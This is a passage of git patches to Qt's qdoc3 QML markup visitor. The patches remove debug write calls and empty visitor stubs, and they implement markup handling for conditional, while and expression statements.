QDeclarativeJS::AST::Node::accept(statement->expression, this); @@ -995,13 +870,11 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::IfStatement *statement) void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::IfStatement *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::DoWhileStatement *statement) { - write(""); addMarkedUpToken(statement->doToken, QLatin1String("keyword")); QDeclarativeJS::AST::Node::accept(statement->statement, this); addMarkedUpToken(statement->whileToken, QLatin1String("keyword")); @@ -1014,25 +887,21 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::DoWhileStatement *statement) void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::DoWhileStatement *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::WhileStatement *statement) { - write(""); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::WhileStatement *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ForStatement *statement) { - write(""); addMarkedUpToken(statement->forToken, QLatin1String("keyword")); addVerbatim(statement->lparenToken); QDeclarativeJS::AST::Node::accept(statement->initialiser, this); @@ -1047,13 +916,11 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ForStatement *statement) void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ForStatement *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::LocalForStatement *statement) { - write(""); addMarkedUpToken(statement->forToken, QLatin1String("keyword")); addVerbatim(statement->lparenToken); addMarkedUpToken(statement->varToken, QLatin1String("keyword")); @@ -1069,13 +936,11 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::LocalForStatement *statement) void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::LocalForStatement *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ForEachStatement *statement) { - write(""); addMarkedUpToken(statement->forToken, QLatin1String("keyword")); addVerbatim(statement->lparenToken); QDeclarativeJS::AST::Node::accept(statement->initialiser, this); @@ -1088,13 +953,11 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ForEachStatement *statement) void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ForEachStatement *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::LocalForEachStatement *statement) { - write(""); addMarkedUpToken(statement->forToken, QLatin1String("keyword")); addVerbatim(statement->lparenToken); addMarkedUpToken(statement->varToken, QLatin1String("keyword")); @@ -1108,13 +971,11 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::LocalForEachStatement *stateme void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::LocalForEachStatement *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ContinueStatement *statement) { - write(""); addMarkedUpToken(statement->continueToken, QLatin1String("keyword")); addMarkedUpToken(statement->identifierToken, QLatin1String("name")); addVerbatim(statement->semicolonToken); @@ -1123,13 +984,11 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ContinueStatement *statement) void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ContinueStatement *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::BreakStatement *statement) { - write(""); addMarkedUpToken(statement->breakToken, QLatin1String("keyword")); addMarkedUpToken(statement->identifierToken, QLatin1String("name")); addVerbatim(statement->semicolonToken); @@ -1138,13 +997,11 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::BreakStatement *statement) void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::BreakStatement *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ReturnStatement *statement) { - write(""); addMarkedUpToken(statement->returnToken, QLatin1String("keyword")); return true; } @@ -1152,13 +1009,11 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ReturnStatement *statement) void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ReturnStatement *statement) { addVerbatim(statement->semicolonToken); - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::WithStatement *statement) { - write(""); addMarkedUpToken(statement->withToken, QLatin1String("keyword")); addVerbatim(statement->lparenToken); addVerbatim(statement->rparenToken); @@ -1167,27 +1022,23 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::WithStatement *statement) void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::WithStatement *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::CaseBlock *block) { - write(""); addVerbatim(block->lbraceToken); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::CaseBlock *block) { - endWrite(""); addVerbatim(block->rbraceToken, block->rbraceToken); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::SwitchStatement *statement) { - write(""); addMarkedUpToken(statement->switchToken, QLatin1String("keyword")); addVerbatim(statement->lparenToken); QDeclarativeJS::AST::Node::accept(statement->expression, this); @@ -1198,23 +1049,19 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::SwitchStatement *statement) void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::SwitchStatement *statement) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::CaseClauses *) { - write(""); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::CaseClauses *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::CaseClause *clause) { - write(""); addMarkedUpToken(clause->caseToken, QLatin1String("keyword")); QDeclarativeJS::AST::Node::accept(clause->expression, this); addVerbatim(clause->colonToken); @@ -1224,13 +1071,11 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::CaseClause *clause) void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::CaseClause *clause) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::DefaultClause *clause) { - write(""); addMarkedUpToken(clause->defaultToken, QLatin1String("keyword")); addVerbatim(clause->colonToken, clause->colonToken); return true; @@ -1238,13 +1083,11 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::DefaultClause *clause) void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::DefaultClause *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::LabelledStatement *statement) { - write(""); addMarkedUpToken(statement->identifierToken, QLatin1String("name")); addVerbatim(statement->colonToken); QDeclarativeJS::AST::Node::accept(statement->statement, this); @@ -1253,13 +1096,11 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::LabelledStatement *statement) void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::LabelledStatement *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ThrowStatement *statement) { - write(""); addMarkedUpToken(statement->throwToken, QLatin1String("keyword")); QDeclarativeJS::AST::Node::accept(statement->expression, this); addVerbatim(statement->semicolonToken); @@ -1268,13 +1109,11 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ThrowStatement *statement) void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ThrowStatement *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::Catch *c) { - write(""); addMarkedUpToken(c->catchToken, QLatin1String("keyword")); addVerbatim(c->lparenToken); addMarkedUpToken(c->identifierToken, QLatin1String("name")); @@ -1284,13 +1123,11 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::Catch *c) void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::Catch *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::Finally *f) { - write(""); addMarkedUpToken(f->finallyToken, QLatin1String("keyword")); QDeclarativeJS::AST::Node::accept(f->statement, this); return false; @@ -1298,13 +1135,11 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::Finally *f) void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::Finally *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::TryStatement *statement) { - write(""); addMarkedUpToken(statement->tryToken, QLatin1String("keyword")); QDeclarativeJS::AST::Node::accept(statement->statement, this); QDeclarativeJS::AST::Node::accept(statement->catchExpression, this); @@ -1314,13 +1149,11 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::TryStatement *statement) void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::TryStatement *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::FunctionExpression *expression) { - write(""); addMarkedUpToken(expression->functionToken, QLatin1String("keyword")); addMarkedUpToken(expression->identifierToken, QLatin1String("name")); addVerbatim(expression->lparenToken); @@ -1334,12 +1167,10 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::FunctionExpression *expression void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::FunctionExpression *expression) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::FunctionDeclaration *declaration) { - write(""); addMarkedUpToken(declaration->functionToken, QLatin1String("keyword")); addMarkedUpToken(declaration->identifierToken, QLatin1String("name")); addVerbatim(declaration->lparenToken); @@ -1353,12 +1184,10 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::FunctionDeclaration *declarati void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::FunctionDeclaration *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::FormalParameterList *list) { - write(""); addVerbatim(list->commaToken); addMarkedUpToken(list->identifierToken, QLatin1String("name")); return false; @@ -1366,23 +1195,19 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::FormalParameterList *list) void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::FormalParameterList *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::FunctionBody *body) { - write(""); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::FunctionBody *body) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::DebuggerStatement *statement) { - write(""); addVerbatim(statement->debuggerToken); addVerbatim(statement->semicolonToken); return true; @@ -1390,34 +1215,28 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::DebuggerStatement *statement) void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::DebuggerStatement *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::FunctionSourceElement *) { - write(""); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::FunctionSourceElement *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::StatementSourceElement *) { - write(""); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::StatementSourceElement *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiObjectDefinition *definition) { - write(""); QDeclarativeJS::AST::Node::accept(definition->qualifiedTypeNameId, this); QDeclarativeJS::AST::Node::accept(definition->initializer, this); return false; @@ -1425,62 +1244,51 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiObjectDefinition *definition void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiObjectDefinition *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiImportList *) { - write(""); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiImportList *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiObjectMemberList *) { - write(""); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiObjectMemberList *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiFormalList *) { - write(""); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiFormalList *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::Program *) { - write(""); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::Program *) { - endWrite(""); } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::SourceElements *) { - write(""); return true; } void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::SourceElements *) { - endWrite(""); } QT_END_NAMESPACE diff --git a/tools/qdoc3/qmlmarkupvisitor.h b/tools/qdoc3/qmlmarkupvisitor.h index 01b0acf..8177798 100644 --- a/tools/qdoc3/qmlmarkupvisitor.h +++ b/tools/qdoc3/qmlmarkupvisitor.h @@ -327,8 +327,6 @@ private: void addVerbatim(QDeclarativeJS::AST::SourceLocation first, QDeclarativeJS::AST::SourceLocation last = QDeclarativeJS::AST::SourceLocation()); QString sourceText(QDeclarativeJS::AST::SourceLocation &location); - void write(const QString &text); - void endWrite(const QString &text); QDeclarativeJS::Engine *engine; QString source; -- cgit v0.12 From ff9b210719da21a6724bad51e908f9754c7fa172 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Wed, 1 Dec 2010 18:15:46 +0100 Subject: Updated handling of some statement nodes, removed unnecessary functions. --- tools/qdoc3/qmlmarkupvisitor.cpp | 512 ++------------------------------------- tools/qdoc3/qmlmarkupvisitor.h | 185 +------------- 2 files changed, 28 insertions(+), 669 deletions(-) diff --git a/tools/qdoc3/qmlmarkupvisitor.cpp b/tools/qdoc3/qmlmarkupvisitor.cpp index 6335ab6..907b95d 100644 --- a/tools/qdoc3/qmlmarkupvisitor.cpp +++ b/tools/qdoc3/qmlmarkupvisitor.cpp @@ -53,7 +53,6 @@ QmlMarkupVisitor::QmlMarkupVisitor(const QString &source, QDeclarativeJS::Engine { this->source = source; this->engine = engine; - indent = 0; cursor = 0; commentIndex = 0; } @@ -183,20 +182,10 @@ void QmlMarkupVisitor::addVerbatim(QDeclarativeJS::AST::SourceLocation first, return; QString text = source.mid(start, finish - start); - indent -= 1; output += protect(text); cursor = finish; } -bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiProgram *) -{ - return true; -} - -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiProgram *) -{ -} - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiImport *uiimport) { addVerbatim(uiimport->importToken); @@ -238,28 +227,6 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiPublicMember *member) return false; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiPublicMember *member) -{ -} - -bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiSourceElement *) -{ - return true; -} - -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiSourceElement *) -{ -} - -bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiParameterList *) -{ - return true; -} - -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiParameterList *) -{ -} - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiObjectInitializer *initializer) { addVerbatim(initializer->lbraceToken, initializer->lbraceToken); @@ -280,10 +247,6 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiObjectBinding *binding) return false; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiObjectBinding *) -{ -} - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiScriptBinding *binding) { QDeclarativeJS::AST::Node::accept(binding->qualifiedId, this); @@ -292,10 +255,6 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiScriptBinding *binding) return false; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiScriptBinding *) -{ -} - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiArrayBinding *binding) { QDeclarativeJS::AST::Node::accept(binding->qualifiedId, this); @@ -306,10 +265,6 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiArrayBinding *binding) return false; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiArrayBinding *formal) -{ -} - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiArrayMemberList *list) { for (QDeclarativeJS::AST::UiArrayMemberList *it = list; it; it = it->next) { @@ -319,20 +274,12 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiArrayMemberList *list) return false; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiArrayMemberList *) -{ -} - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiQualifiedId *id) { addMarkedUpToken(id->identifierToken, QLatin1String("name")); return false; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiQualifiedId *) -{ -} - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiSignature *signature) { addVerbatim(signature->lparenToken); @@ -352,98 +299,54 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiFormal *formal) return false; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UiFormal *) -{ -} - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ThisExpression *expression) { addVerbatim(expression->thisToken); return true; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ThisExpression *) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::IdentifierExpression *identifier) { addMarkedUpToken(identifier->identifierToken, QLatin1String("name")); return false; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::IdentifierExpression *) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::NullExpression *null) { addMarkedUpToken(null->nullToken, QLatin1String("number")); return true; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::NullExpression *) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::TrueLiteral *literal) { addMarkedUpToken(literal->trueToken, QLatin1String("number")); return true; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::TrueLiteral *) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::FalseLiteral *literal) { addMarkedUpToken(literal->falseToken, QLatin1String("number")); return true; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::FalseLiteral *) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::NumericLiteral *literal) { addMarkedUpToken(literal->literalToken, QLatin1String("number")); return false; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::NumericLiteral *) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::StringLiteral *literal) { addMarkedUpToken(literal->literalToken, QLatin1String("string")); return true; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::StringLiteral *) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::RegExpLiteral *literal) { addVerbatim(literal->literalToken); return true; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::RegExpLiteral *) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ArrayLiteral *literal) { addVerbatim(literal->lbracketToken); @@ -452,11 +355,6 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ArrayLiteral *literal) return false; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ArrayLiteral *) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ObjectLiteral *literal) { addVerbatim(literal->lbraceToken); @@ -479,48 +377,12 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ElementList *list) return false; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ElementList *) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::Elision *elision) { addVerbatim(elision->commaToken, elision->commaToken); return true; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::Elision *) -{ -} - -bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::IdentifierPropertyName *) -{ - return true; -} - -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::IdentifierPropertyName *) -{ -} - -bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::StringLiteralPropertyName *) -{ - return true; -} - -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::StringLiteralPropertyName *) -{ -} - -bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::NumericLiteralPropertyName *) -{ - return true; -} - -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::NumericLiteralPropertyName *) -{ -} - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::PropertyNameAndValueList *list) { QDeclarativeJS::AST::Node::accept(list->name, this); @@ -530,20 +392,6 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::PropertyNameAndValueList *list return false; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::PropertyNameAndValueList *) -{ -} - -bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::NestedExpression *expression) -{ - return true; -} - -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::NestedExpression *) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ArrayMemberExpression *expression) { QDeclarativeJS::AST::Node::accept(expression->base, this); @@ -553,11 +401,6 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ArrayMemberExpression *express return false; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ArrayMemberExpression *) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::FieldMemberExpression *expression) { QDeclarativeJS::AST::Node::accept(expression->base, this); @@ -566,11 +409,6 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::FieldMemberExpression *express return false; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::FieldMemberExpression *expression) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::NewMemberExpression *expression) { addVerbatim(expression->newToken); @@ -581,164 +419,84 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::NewMemberExpression *expressio return false; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::NewMemberExpression *expression) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::NewExpression *expression) { addVerbatim(expression->newToken); return true; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::NewExpression *) -{ -} - - -bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::CallExpression *expression) -{ - return true; -} - -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::CallExpression *) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ArgumentList *list) { addVerbatim(list->commaToken, list->commaToken); return true; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ArgumentList *) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::PostIncrementExpression *expression) { addVerbatim(expression->incrementToken); return true; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::PostIncrementExpression *) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::PostDecrementExpression *expression) { addVerbatim(expression->decrementToken); return true; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::PostDecrementExpression *) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::DeleteExpression *expression) { addVerbatim(expression->deleteToken); return true; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::DeleteExpression *) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::VoidExpression *expression) { addVerbatim(expression->voidToken); return true; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::VoidExpression *) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::TypeOfExpression *expression) { addVerbatim(expression->typeofToken); return true; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::TypeOfExpression *) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::PreIncrementExpression *expression) { addVerbatim(expression->incrementToken); return true; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::PreIncrementExpression *) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::PreDecrementExpression *expression) { addVerbatim(expression->decrementToken); return true; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::PreDecrementExpression *) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UnaryPlusExpression *expression) { addVerbatim(expression->plusToken); return true; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UnaryPlusExpression *) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UnaryMinusExpression *expression) { addVerbatim(expression->minusToken); return true; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::UnaryMinusExpression *) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::TildeExpression *expression) { addVerbatim(expression->tildeToken); return true; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::TildeExpression *) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::NotExpression *expression) { addVerbatim(expression->notToken); return true; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::NotExpression *) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::BinaryExpression *expression) { QDeclarativeJS::AST::Node::accept(expression->left, this); @@ -747,31 +505,22 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::BinaryExpression *expression) return false; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::BinaryExpression *) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ConditionalExpression *expression) { - return true; -} - -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ConditionalExpression *) -{ + QDeclarativeJS::AST::Node::accept(expression->expression, this); + addVerbatim(expression->questionToken); + QDeclarativeJS::AST::Node::accept(expression->ok, this); + addVerbatim(expression->colonToken); + QDeclarativeJS::AST::Node::accept(expression->ko, this); + return false; } - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::Expression *expression) { QDeclarativeJS::AST::Node::accept(expression->left, this); addVerbatim(expression->commaToken); QDeclarativeJS::AST::Node::accept(expression->right, this); - return true; -} - -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::Expression *) -{ + return false; } bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::Block *block) @@ -785,15 +534,6 @@ void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::Block *block) addVerbatim(block->rbraceToken); } -bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::StatementList *) -{ - return true; -} - -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::StatementList *) -{ -} - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::VariableStatement *statement) { addVerbatim(statement->declarationKindToken); @@ -802,11 +542,6 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::VariableStatement *statement) return false; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::VariableStatement *) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::VariableDeclarationList *list) { for (QDeclarativeJS::AST::VariableDeclarationList *it = list; it; it = it->next) { @@ -816,10 +551,6 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::VariableDeclarationList *list) return false; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::VariableDeclarationList *) -{ -} - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::VariableDeclaration *declaration) { addMarkedUpToken(declaration->identifierToken, QLatin1String("name")); @@ -827,33 +558,19 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::VariableDeclaration *declarati return false; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::VariableDeclaration *) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::EmptyStatement *statement) { addVerbatim(statement->semicolonToken); return true; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::EmptyStatement *) -{ -} - - -bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ExpressionStatement *) -{ - return true; -} - -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ExpressionStatement *statement) +bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ExpressionStatement *statement) { + QDeclarativeJS::AST::Node::accept(statement->expression, this); addVerbatim(statement->semicolonToken); + return false; } - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::IfStatement *statement) { addMarkedUpToken(statement->ifToken, QLatin1String("keyword")); @@ -868,11 +585,6 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::IfStatement *statement) return false; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::IfStatement *) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::DoWhileStatement *statement) { addMarkedUpToken(statement->doToken, QLatin1String("keyword")); @@ -885,21 +597,16 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::DoWhileStatement *statement) return false; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::DoWhileStatement *) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::WhileStatement *statement) { - return true; -} - -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::WhileStatement *) -{ + addMarkedUpToken(statement->whileToken, QLatin1String("keyword")); + addVerbatim(statement->lparenToken); + QDeclarativeJS::AST::Node::accept(statement->expression, this); + addVerbatim(statement->rparenToken); + QDeclarativeJS::AST::Node::accept(statement->statement, this); + return false; } - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ForStatement *statement) { addMarkedUpToken(statement->forToken, QLatin1String("keyword")); @@ -914,11 +621,6 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ForStatement *statement) return false; } -void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::ForStatement *) -{ -} - - bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::LocalForStatement *statement) { addMarkedUpToken(statement->forToken, QLatin1String("keyword")); @@ -934,11 +636,6 @@ bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::LocalForStatement *statement) return false; } -void 